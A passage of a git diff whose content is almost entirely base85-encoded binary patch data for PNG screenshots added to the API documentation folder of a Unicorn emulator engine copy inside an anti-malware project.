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 literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/YCMNcEVyX8GHoPb.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/YCMNcEVyX8GHoPb.png new file mode 100644 index 0000000000000000000000000000000000000000..0268295b8ebb927fee84092af0ed7926996d47c1 GIT binary patch literal 35483 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 